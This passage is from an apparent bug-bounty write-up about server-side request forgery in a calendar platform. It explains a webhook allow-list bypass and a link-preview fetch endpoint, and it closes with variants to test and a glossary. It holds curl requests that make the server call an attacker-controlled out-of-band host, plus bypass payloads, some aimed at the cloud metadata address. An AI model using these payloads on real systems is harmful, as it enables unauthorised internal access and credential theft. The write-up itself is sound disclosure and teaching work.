-d '{...}'is the event body."title":"poc"names the eventpoc, short for proof of concept."start":"'"$(date -u -d '+2 minutes' +%Y-%m-%dT%H:%M:%SZ)"'"computes a start time two minutes in the future. Thedatecommand with-uuses UTC,-d '+2 minutes'adds two minutes, and the format string produces a standard timestamp. The nested quoting is shell gymnastics to splice the computed date into the JSON."alarms":[{"action":"WEBHOOK","extra":"WEBHOOK_UUID"}]attaches an alarm to the event. The action isWEBHOOK, meaning "send a webhook when this fires", andextraholds the identifier of the webhook to call.
Why two minutes in the future: the alarm needs to fire while the researcher is watching the listener. Scheduling it slightly ahead gives time to set up and observe.
The request arriving from the platform's own outbound address, carrying content fully controlled at registration time, is the proof of concept. The HTTPS twin of the same test produced a real DNS lookup from the platform's own resolver at the exact alarm second, which proves the server itself is resolving and dialling out rather than echoing a string back. A resolver is the part of the system that performs DNS lookups. Seeing the lookup arrive at the listener's DNS side, at the exact moment the alarm fired, ties the server's behaviour to the researcher's input beyond reasonable doubt.
Step 4: stop and clean up
The test was deliberately never fired against a real internal address or metadata endpoint. The proof stopped at "the server will deliver attacker-controlled requests to an attacker-chosen address", which is already enough, and the programme's rules call for minimal proof and an immediate stop once sensitive data is in reach. This is an important professional habit: the goal is to demonstrate the bug, not to cause damage or read data you have no right to see.
All nine test webhooks, both test events and a short-lived API token created during the same objective were deleted, and the deletion was verified afterwards. Cleanup means removing every object you created so the target is left exactly as you found it. Verifying the deletion means checking, not assuming.
Result: confirmed, reported, submitted, paid at High severity.
The sibling primitive that was closed as intended behaviour
A second undocumented endpoint, again found only by reading a bundle and never documented publicly, takes a list of URLs, fetches each one server-side and returns the page title and preview image. This is a link-preview feature.
XSRF=$(printf '%b' "${XSRF_RAW//%/\\x}")
curl -s "https://calendar.target.com/api/opengraph" \
-H "Cookie: $SESSION" -H "X-XSRF-TOKEN: $XSRF" \
-H "Content-Type: application/json" \
-d '{"websites":["http://OOB_HOST.oastify.com/proof"]}'
Line by line:
XSRF=$(printf '%b' "${XSRF_RAW//%/\\x}")rebuilds the anti-CSRF token from a URL-encoded form into its raw form. The${XSRF_RAW//%/\\x}part replaces every%with\x, andprintf '%b'interprets those\xescapes as bytes. This is a small decoding step needed because the token was captured in encoded form.curl -s "https://calendar.target.com/api/opengraph"calls the link-preview API. OpenGraph is the standard set of tags web pages use to describe themselves for link previews, which is where the endpoint name comes from.- The headers attach the session and the decoded anti-CSRF token.
-d '{"websites":["http://OOB_HOST.oastify.com/proof"]}'asks the server to fetch the researcher's listener and return its title and preview image.
Same shape as the webhook bug: a confirmed server-side fetch with an attacker-influenced destination. Two extra capabilities were noted on their own. It follows redirects, so pointing it at a public redirect service returned the target's title for a host never directly supplied. A redirect is when one URL answers with "go look at this other URL instead". If the server follows redirects, you can supply an innocent-looking URL that bounces to somewhere else. And it acts as a reachability oracle, where a 200 versus a failed fetch gives a clean boolean signal about what the server can and cannot reach. An oracle here means a yes/no answer you can extract from behaviour: if the fetch succeeds, the server can reach that address; if it fails, it cannot. That is useful for mapping a network you cannot see directly.
A second instance of the same primitive turned up in the team-chat product's image-proxy endpoint, which fired the fetch and then returned a 403: its allow-list check runs too late to stop the request, only to stop the response leaking back. In other words, the request happened, but the attacker does not get to read the answer. That is still a bug, but a weaker one.
It was submitted anyway because the primitive itself is real, and the vendor closed it as intended link-preview behaviour. A sibling instance of the same primitive, a calendar "import calendar from a URL" feature confirmed the same way via out-of-band DNS and HTTP, was found days later and deliberately never submitted: same already-closed bug class, would have been a duplicate, and the programme's "one fix, one reward" rule means a sibling endpoint earns nothing. Duplicate means someone else already reported it, or you already reported the same underlying issue. One fix, one reward means the programme pays once for a single code fix, no matter how many endpoints share it.
The lesson drawn was that "SSRF" is not a severity. "A deliberate security control exists, and a one-line trick defeats it" is a severity. Before writing either report, the question asked was what the specific control was supposed to prevent and whether it could be shown concretely to fail at exactly that job. One did, one did not. This is the difference between "I found a feature that fetches URLs" and "I found a security control that does not do its job".
Root cause
The webhook destination validator performs a string comparison against a small allow-list and never resolves the hostname before deciding. The chat.* entry is a bare wildcard subdomain match, so the check reduces to a prefix test on the hostname. Because the check operates on the string and the network layer operates on the resolved address, three classes of input pass the check while resolving elsewhere: attacker-owned wildcard DNS, self-resolving hostnames such as nip.io that embed an IP in the label, and userinfo syntax where the real socket target follows an @.
There is no resolution before the check, no comparison against the post-resolution address, and no socket-level pinning. The control exists and is defeated at exactly the job it was written for. Root cause means the underlying reason the bug exists, as opposed to the symptom you see.
Impact
Impact means what an attacker could actually do with the bug, and how bad it would be. An authenticated user of the calendar product can register a webhook whose endpoint passes the allow-list but resolves to an address of the attacker's choosing, and the platform will then deliver attacker-controlled POST bodies to that address when the alarm fires. The proof stopped at demonstrating delivery to an attacker-chosen address; it was never fired at internal addresses or a metadata endpoint. The report rates this High and it was paid.
The link-preview primitive has the same shape plus redirect-following and a reachability oracle, but the vendor classified it as intended behaviour. The team-chat image proxy fires the fetch before its allow-list check and then returns 403, so the request happens but the response does not leak back.
Fix
The report does not describe a fix applied by the vendor. In plain terms: check the actual destination, not the spelling of the destination, and make sure the thing you checked is the thing you connect to.
Variants to test
These are the general patterns worth trying on other targets that have a similar allow-list. A variant is a different way of expressing the same underlying trick.
- Wildcard-DNS ownership. Register a domain whose label matches the allow-list prefix and point it at your listener. A positive result is an out-of-band callback from the platform's own address.
- Self-resolving hostnames. Use a service that embeds an IP in a hostname label, for example
chat.127.0.0.1.nip.ioorchat.169.254.169.254.nip.io. A positive result is acceptance at registration and a fetch from the server. - Userinfo confusion. Place the real target after an
@in a URL whose visible host matches the allow-list. A positive result is a connection to the address after the@. - Redirect-following. Point the feature at a public redirect service that forwards to a host you never supplied. A positive result is content from the redirect target coming back.
- Reachability oracle. Compare a 200 against a failed fetch for hosts the server can and cannot reach. A positive result is a clean boolean difference.
- Late allow-list checks. Look for proxies that perform the fetch and then reject the response. A positive result is an out-of-band callback despite a 403 to the client.
Hunting notes
This bug hid in a six-line object in a JavaScript file. The signal during recon was a grep for allow[Ll]ist, validat, pattern and regex across every shipped bundle before testing any feature that touches a URL. The first probe was rejected, and the bundle read afterwards is what turned a dead end into a finding.
Impact was shown with an out-of-band callback from the platform's own outbound address plus a DNS lookup from the platform's resolver at the alarm second, and the testing stopped there rather than escalating to internal addresses. All test objects were deleted and the deletion verified.
The same engagement produced a large set of negatives that were written up with equal detail, including a cross-tenant pass built on a real second tenant, a sync protocol that resolves the principal entirely from the authenticated identity, an OAuth matrix where every deviation was rejected or downgraded, and a file-transfer type-confusion test neutralised by forced attachment disposition and a separate serving origin. Several fully proven bugs were never submitted because the programme's rules excluded them, notably session survival after a password change under the Session Expiration Policy, and one enumeration oracle was written up with its limitation stated explicitly.


Glossary
- API: the set of addresses one program uses to talk to another; the service counter behind the shop.
- Allow-list: a list of values a system will accept and everything else is refused.
- Bug bounty: a programme that pays researchers for reporting security bugs responsibly.
- Bundle: the JavaScript files a website sends to your browser, often containing hints about server behaviour.
- Cleanup: deleting every object you created during testing so the target is left as you found it.
- CNAME takeover: a bug where a subdomain points at a service nobody controls any more, letting an attacker claim it.
- Cookie: a small piece of text stored in your browser so a site can recognise you between requests.
- Cross-tenant: between two separate customer organisations on the same platform.
- CSRF (Cross-Site Request Forgery): a trick where a malicious site makes your browser send a request to another site where you are logged in.
- DNS: the system that turns names like
example.cominto IP addresses. - Duplicate: a report of a bug that has already been reported or fixed.
- Fuzzing: firing many semi-random requests at a target and watching for odd responses.
- Host: a single machine or service address on the internet.
- Impact: what an attacker could actually do with a bug, and how bad it would be.
- Link-local: an IP range used for local network configuration, often where cloud metadata services live.
- Loopback: the address a machine uses to talk to itself, usually
[redacted]. - Metadata endpoint: a special cloud address that returns credentials and configuration to anything that can reach it.
- One fix, one reward: a programme rule that pays once per code fix, not once per endpoint sharing it.
- OOB listener (out-of-band listener): a server you control that records any connection made to it, used to prove a target made a request.
- OpenGraph: the standard tags web pages use to describe themselves for link previews.
- Oracle: a yes/no answer you can extract from a system's behaviour, such as success versus failure.
- POST: the HTTP method used to send data to a server.
- Redirect: when one URL answers with "go look at this other URL instead".
- Resolver: the part of a system that performs DNS lookups.
- Root cause: the underlying reason a bug exists, as opposed to the symptom you see.
- Scope: the list of systems a bug bounty programme allows you to test.
- Socket-level pinning: resolving a name once, checking the resulting IP, and connecting to exactly that IP.
- Source map: a file that maps minified production JavaScript back to the original readable source code.
- SSRF (Server-Side Request Forgery): tricking a server into making a request on your behalf to an address you were never supposed to reach.
- Tenant: an isolated customer space inside a shared service.
- Token: a string of characters that acts like a temporary key, often used instead of a password.
- Userinfo confusion: a URL trick where the visible hostname differs from the real connection target because of an
@. - Variant: a different way of expressing the same underlying trick.
- Webhook: a URL you register with a service, which the service sends an automatic request to when an event happens.
- 403: the HTTP status code for "forbidden": the server understood the request but refused it.